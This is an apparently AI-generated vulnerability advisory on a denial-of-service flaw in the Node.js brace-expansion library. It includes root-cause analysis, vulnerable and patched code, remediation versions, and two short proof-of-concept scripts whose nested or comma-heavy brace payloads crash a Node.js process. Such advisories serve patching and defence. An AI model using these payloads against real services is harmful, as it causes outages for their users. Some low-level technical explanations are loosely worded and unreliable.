CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-102276

CVE-2026-102276: Denial of Service via Uncontrolled Recursion and Argument-List Exhaustion in brace-expansion

Alon Barad
Alon Barad
Software Engineer

Sep 30, 2026·7 min read·130 visits

Executive Summary (TL;DR)

A denial-of-service vulnerability in brace-expansion allows unauthenticated remote attackers to crash Node.js applications by submitting maliciously nested or long comma-separated brace patterns, bypassing application-level limits.

CVE-2026-102276 is a high-severity Denial of Service (DoS) vulnerability impacting the 'brace-expansion' library, a popular Node.js utility designed to expand brace patterns into combinatorial lists. Due to uncontrolled recursion and argument-list stack exhaustion within the internal parseCommaParts function, remote attackers can trigger an unhandled RangeError that abruptly terminates the Node.js process.

Vulnerability Overview

The npm package brace-expansion is a structural library used to generate combinatorial string expansions, such as translating file{1..3}.txt into distinct filenames. Because it serves as a core utility, it is transitively incorporated into widely used matching and file-system globbing dependencies such as minimatch and glob. Consequently, applications processing user-controlled file paths, query filters, or router patterns are indirectly exposed to inputs parsed by this library.

CVE-2026-102276 is a high-severity Denial of Service vulnerability arising from the package's internal parsing methodology. The parser exposes an attack surface where maliciously structured strings trigger uncontrolled resource consumption before any configuration-level size or length checks can occur. This makes traditional mitigations, such as configuring maximum output boundaries, completely ineffective.

An attacker can exploit this weakness by submitting targeted payloads that drive the V8 JavaScript engine's call stack to exhaustion. This leads to an unhandled RangeError: Maximum call stack size exceeded and terminates the host process.

Root Cause Analysis

The root cause of CVE-2026-102276 lies within the internal parseCommaParts function, which splits comma-delimited segments of a brace-enclosed string while preserving internal nested brace blocks.

The parsing engine uses a helper library named balanced to identify matching pairs of curly braces, separating the input string into a prefix (pre), a nested body (body), and a suffix (post). Once identified, the engine executes recursive operations and array flattening techniques that are vulnerable to stack depletion.

There are two distinct exhaustion vectors within the unpatched implementation:

Vector 1: Uncontrolled Recursion (CWE-674) When evaluating a pattern, the function extracts the outermost balanced group and invokes itself recursively on the remaining suffix: var postParts = parseCommaParts(post); For highly nested or chained sequences of brace groupings (such as thousands of sequential nested blocks), each recursive iteration pushes a new execution context onto the call stack. Because this parsing occurs prior to output length validations, V8's physical stack limit is breached at approximately 7,000 nested structures, resulting in a process crash.

Vector 2: Argument-List Stack Exhaustion (CWE-400) When flattening flat arrays of comma-delimited parts, the library utilizes JavaScript's native argument application mechanism: p.push.apply(p, postParts); In V8, calling .apply(context, array) maps the elements of the target array directly onto the CPU-managed argument registry stack. V8 imposes a finite limit on the maximum length of an argument list. If an attacker passes a payload containing more than 125,000 flat, comma-separated values, calling .apply tries to allocate all entries onto the call stack at once. This triggers an immediate, non-recursive stack overflow.

Code Analysis

Analyzing the vulnerable implementation highlights the structural difference between recursive and iterative design patterns.

Vulnerable Code Path

function parseCommaParts(str) {
  if (!str)
    return [''];
 
  var parts = [];
  var m = balanced('{', '}', str);
 
  if (!m)
    return str.split(',');
 
  var pre = m.pre;
  var body = m.body;
  var post = m.post;
  var p = pre.split(',');
 
  p[p.length-1] += '{' + body + '}';
  // CRITICAL FLUSH: Recursive execution pushes a new stack frame for each 'post' element
  var postParts = parseCommaParts(post); 
  if (post.length) {
    p[p.length-1] += postParts.shift();
    // CRITICAL FLUSH: Large arrays exhaust argument registers on the CPU stack
    p.push.apply(p, postParts); 
  }
 
  parts.push.apply(parts, p); 
 
  return parts;
}

Patched Implementation

The resolved code entirely decouples parser progress from the JavaScript call stack. The recursion is flattened into an iterative state loop, and .apply() allocations are replaced by an iterative index-based helper:

// Safe replacement for push.apply, preserving flat execution
function pushAll(target, items) {
  for (var i = 0; i < items.length; i++) {
    target.push(items[i]);
  }
}
 
function parseCommaParts(str) {
  var parts = [];
  var carry = '';
 
  // Iterative processing loop reduces stack depth consumption to O(1)
  for (;;) {
    var m = balanced('{', '}', str);
 
    if (!m) {
      var tail = str.split(',');
      tail[0] = carry + tail[0];
      pushAll(parts, tail); // Safe execution
      return parts;
    }
 
    var pre = m.pre;
    var body = m.body;
    var post = m.post;
    var p = pre.split(',');
 
    p[0] = carry + p[0];
    p[p.length-1] += '{' + body + '}';
 
    if (!post.length) {
      pushAll(parts, p); 
      return parts;
    }
 
    carry = p.pop();
    pushAll(parts, p); 
    str = post; // Advances state forward without recursing
  }
}

Exploitation Methodology

Exploitation of CVE-2026-102276 requires no special system authentication or privileges. It requires only that the target application accepts and parses user-supplied pattern matching strings.

Proof of Concept: Recursion Exhaustion

An attacker can trigger Vector 1 by supplying a payload consisting of deep sequential brace nests:

const expand = require('brace-expansion');
 
// Construct 7,000 nested brace chains within an outer brace block
const recursivePayload = '{' + '{a},'.repeat(7000) + 'b}';
 
console.log("Executing recursive payload...");
expand(recursivePayload); // Node.js crashes with RangeError

Proof of Concept: Argument Stack Exhaustion

To trigger Vector 2, the attacker forces the system to execute an excessively wide split operation, overloading the function's argument processing stack:

const expand = require('brace-expansion');
 
// Generate a massive array of flat comma values
const argumentPayload = '{{x},' + 'a,'.repeat(125000) + 'b}';
 
console.log("Executing argument list payload...");
expand(argumentPayload); // Node.js crashes with RangeError

Impact Assessment

The security impact of CVE-2026-102276 is categorized as a High Severity Denial of Service (DoS) vulnerability. Node.js operates on a single-threaded event loop. If an unhandled execution stack overflow occurs within this thread, the entire process crashes immediately.

While process monitors like PM2 or container runtimes such as Kubernetes are configured to restart crashed processes, an attacker can exploit this to create a continuous crash loop. This loop exhausts system resources, increases host CPU utilization, and results in a sustained service outage for legitimate users.

Furthermore, because the parsing engine does not implement validation checks prior to recursive execution, security constraints placed on downstream processing logic cannot intercept or mitigate this issue. This exposes the application layer to direct, unauthenticated disruption.

Remediation and Mitigation Guidance

Remediation requires upgrading the brace-expansion library to fixed versions that use iterative parsing logic.

Recommended Patches

Update the dependency based on the major version branch currently in use:

  • 1.x Branch: Upgrade to 1.1.19 or higher
  • 2.x Branch: Upgrade to 2.1.5 or higher
  • 3.x Branch: Upgrade to 3.0.7 or higher
  • 5.x Branch: Upgrade to 5.0.10 or higher

Resolving Transitive Dependencies

Because brace-expansion is often pulled in transitively by upstream utilities like minimatch, you can enforce the use of safe versions across your entire project. To do this, add a resolutions or overrides block to your package.json file:

"overrides": {
  "brace-expansion": "^5.0.10"
}

Input Sanitization Defenses

If immediate dependency patching is not possible, implement validation checks on incoming user strings before passing them to matching functions. Reject inputs that exceed a maximum nesting depth or string length threshold:

function validatePattern(input) {
  // Reject inputs with excess brace characters to block nesting payloads
  const braceCount = (input.match(/{/g) || []).length;
  if (braceCount > 100) {
    throw new Error('Invalid query pattern: Nesting depth exceeded');
  }
  return true;
}

Fix Analysis (4)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.35%
Top 74% most exploited

Affected Systems

brace-expansion Node.js library

Affected Versions Detail

Product
Affected Versions
Fixed Version
brace-expansion
Julian Gruber
< 1.1.191.1.19
brace-expansion
Julian Gruber
>= 2.0.0, < 2.1.52.1.5
brace-expansion
Julian Gruber
>= 3.0.0, < 3.0.73.0.7
brace-expansion
Julian Gruber
>= 4.0.0, < 5.0.105.0.10
AttributeDetail
CWE IDCWE-400, CWE-674
Attack VectorNetwork (AV:N)
CVSS v3.17.5 (High)
EPSS Score0.0035 (26.16th percentile)
Impact CategoryDenial of Service (Process Termination)
Exploit StatusProof-of-concept available
CISA KEV StatusNot listed

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
CWE-400
Uncontrolled Resource Consumption

The software does not properly control the allocation and maintenance of a limited resource, enabling an actor to influence the amount of resources consumed and leading to resource exhaustion.

Vulnerability Timeline

Remediation patch authored and committed to repository branches by maintainer Julian Gruber
2026-09-14
Official GitHub Advisory GHSA-6j4f-fj2g-mc7p published
2026-09-28
CVE-2026-102276 assigned and published to the CVE.org registry database
2026-09-28
Vulnerability record populated in the National Vulnerability Database (NVD)
2026-09-29

References & Sources

  • [1]GitHub Security Advisory GHSA-6j4f-fj2g-mc7p
  • [2]NVD Vulnerability Details: CVE-2026-102276
  • [3]CVE Record: CVE-2026-102276

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•36 minutes ago•CVE-2026-128087
3.7

CVE-2026-128087: Premature Key Exchange Callback Invocation Prior to Host Key Verification in russh

CVE-2026-128087 (GHSA-9264-jvgf-6w2f) is an incorrect behavior order (CWE-696) and improper authorization (CWE-863) vulnerability in the russh Rust SSH library, affecting versions 0.55.0 through 0.65.0. During the initial SSH key exchange (KEX) handshake, the client state machine invokes the client::Handler::kex_done() callback—providing the negotiated raw shared secret bytes—prior to validating the remote server's host key or certificate via check_server_key(). Consequently, an untrusted or rogue SSH server can complete cryptographic key agreement and force a connecting client to execute side-effecting application logic inside kex_done() before the server's identity is checked and rejected.

Amit Schendel
Amit Schendel
1 views•10 min read
•about 2 hours ago•CVE-2026-128082
7.5

CVE-2026-128082: Uncontrolled Recursion and Denial of Service in AutoMapper via Constructor Parameter Mapping

CVE-2026-128082 (GHSA-6vhm-j9h7-f9gh) is an uncontrolled recursion vulnerability (CWE-674) in AutoMapper, a convention-based object-object mapper for .NET. When mapping nested or self-referential types into destination models that rely on parameterized constructors, C# positional records, or recursive ConstructUsing expressions, AutoMapper evaluates child constructor arguments prior to incrementing the parent's recursion depth counter. This ordering flaw bypasses both explicit MaxDepth limits and the default depth limit of 64. An unauthenticated remote attacker can supply deeply nested input payloads to affected endpoints, exhausting the thread call stack and triggering an uncatchable System.StackOverflowException that terminates the hosting .NET process.

Amit Schendel
Amit Schendel
3 views•11 min read
•about 3 hours ago•CVE-2026-128080
5.8

CVE-2026-128080: Sensitive Query Parameter Disclosure on Incoming Server Spans in OpenTelemetry JavaScript (@opentelemetry/instrumentation-http)

An information exposure vulnerability in the @opentelemetry/instrumentation-http package for OpenTelemetry JavaScript versions 0.204.0 prior to 0.222.0 causes incoming HTTP server spans to record raw, unredacted query string parameters under the url.query attribute. While outgoing client spans applied built-in and user-configured query parameter redaction, incoming server spans bypassed this sanitization completely, resulting in the transmission of sensitive credentials such as pre-signed cloud URLs and API tokens to external observability backends.

Alon Barad
Alon Barad
3 views•10 min read
•about 4 hours ago•CVE-2026-128089
7.5

CVE-2026-128089: Uncontrolled Resource Consumption in dnspython WKS Record Parser

CVE-2026-128089 is an uncontrolled resource consumption vulnerability in the dnspython toolkit for Python, affecting all versions prior to 2.9.2. When parsing Well-Known Service (WKS) records from text via dns.rdtypes.IN.WKS.WKS.from_text(), the parser fails to validate that numeric service port identifiers fall within the RFC 1035 valid range of 0 through 65535. An attacker capable of supplying untrusted zone files or RDATA text strings containing an arbitrarily large service port integer can force the parser to allocate an unbounded bitmap array using an inefficient linear append loop, resulting in severe CPU exhaustion, application hangs, or Out-Of-Memory (OOM) process termination.

Amit Schendel
Amit Schendel
4 views•10 min read
•about 5 hours ago•CVE-2026-126347
3.1

CVE-2026-126347: Open Redirect via Triple-Slash Redirect Paths in Tornado RedirectHandler

CVE-2026-126347 (GHSA-5cjw-f85j-cv6r) is an open redirect vulnerability (CWE-601) in Tornado, an asynchronous Python networking library and web framework. The flaw resides in tornado.web.RedirectHandler when dynamic URL redirection templates incorporate unvalidated user input. Due to a parser differential between RFC 3986 (used by Python's urllib.parse.urlsplit) and the WHATWG URL Standard (used by modern web browsers), inputs containing three or more leading slashes bypass Tornado 6.6.0's validation logic, allowing unauthenticated attackers to redirect users to arbitrary external domains.

Alon Barad
Alon Barad
4 views•11 min read
•about 6 hours ago•CVE-2026-128123
5.9

CVE-2026-128123: Uncaught Exception and Denial of Service in SvelteKit @sveltejs/adapter-node

A Denial of Service (DoS) vulnerability exists in @sveltejs/adapter-node versions 5.5.7 and 6.0.0-next.0 through 6.0.0. When a SvelteKit server route returns a direct response from a fetch() call with a Content-Type of text/event-stream, the Node.js adapter attempts to mutate the response headers to disable proxy buffering. Because headers returned directly by the WHATWG Fetch API carry an immutable guard, this mutation throws an unhandled TypeError, terminating the underlying Node.js process and denying service to all active and subsequent clients.

Alon Barad
Alon Barad
4 views•9 min read